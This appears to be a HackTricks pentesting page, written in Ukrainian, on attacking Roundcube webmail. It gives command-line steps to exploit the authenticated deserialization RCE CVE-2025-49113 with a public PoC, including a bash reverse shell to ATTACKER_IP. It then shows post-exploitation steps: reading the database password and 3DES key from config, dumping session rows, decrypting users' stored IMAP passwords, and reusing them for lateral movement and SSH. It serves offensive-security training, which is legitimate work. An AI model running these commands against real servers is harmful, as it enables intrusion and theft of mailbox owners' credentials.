Roundcube
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
Roundcube — PHP webmail клієнт, який зазвичай доступний на HTTP(S) vhosts (наприклад, mail.example.tld). Корисні fingerprints:
- HTML-код часто leaks rcversion (наприклад, window.rcmail && rcmail.env.rcversion)
- Шлях додатку за замовчуванням в containers/VMs: /var/www/html/roundcube
- Основна конфігурація: config/config.inc.php
Authenticated RCE via PHP object deserialization (CVE-2025-49113)
Постраждалі версії (за даними постачальника/NVD):
- 1.6.x before 1.6.11
- 1.5.x before 1.5.10
Коротко про вразливість
- Параметр _from у program/actions/settings/upload.php не перевіряється, що дозволяє injection attacker‑controlled data, які Roundcube пізніше unserializes, що призводить до gadget chain execution і remote code execution у web-контексті (post‑auth).
Quick exploitation
- Вимоги: дійсні облікові дані Roundcube та досяжний UI URL (наприклад, http://mail.target.tld)
- Публічний PoC автоматизує обробку сесій, gadget crafting та процес завантаження
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD
# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"
# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
Notes
- Вивід часто сліпий; використовуйте sleep N для валідації RCE
- Отриманий shell зазвичай працює як www-data; у контейнеризованих розгортаннях очікуйте /.dockerenv і мережу 172.17.0.0/16
Post‑exploitation: відновлення паролів IMAP з сесій Roundcube
Roundcube зберігає IMAP-пароль поточного користувача в сесії (базі даних), зашифрований серверним 3DES-ключем, налаштованим у config.inc.php. Маючи доступ до файлової системи або DB на хості Roundcube, ви можете відновити plaintext паролі та перейти до інших поштових скриньок/сервісів (перевикористання SSH — поширене).
- Read DB DSN and 3DES key from config
config/config.inc.php typically contains:
$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
- Підключитися до DB і dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube
mysql> SELECT id, created, changed, vars FROM session\G
Поле session.vars — це Base64 blob, створений Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) ). Перші 8 байтів після Base64‑decoding — це IV.
- Знайти поле password
Швидкий спосіб виявити облікові дані всередині розшифрованої структури — спочатку Base64‑decode поле vars і візуально переглянути серіалізовані записи:
echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
- Розшифрувати за допомогою допоміжної утиліти Roundcube
Roundcube поставляється з CLI, який використовує ту саму логіку rcmail->decrypt() та налаштований des_key:
cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
- Ручне розшифрування 3DES-CBC (необов’язково)
- Формат шифртексту: Base64( IV(8B) || CT )
- Алг: 3DES-CBC, довжина ключа 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv
Типові розташування
- DB table: session (users table maps login names to IDs)
- Config path: /var/www/html/roundcube/config/config.inc.php
Практичне використання
- Старі рядки session часто містять IMAP паролі попередніх користувачів; розшифруйте кілька записів, щоб виконати латеральне переміщення в інші поштові скриньки
- Спробуйте відновлені облікові дані проти SSH або інших сервісів, якщо підозрюється повторне використання паролів
Посилання
- Roundcube security updates 1.6.11 and 1.5.10
- CVE-2025-49113 – NVD
- FearsOff research notes on Roundcube deserialization/RCE
- hakaioffsec/CVE-2025-49113-exploit (PoC)
- Roundcube bin/decrypt.sh helper
- HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

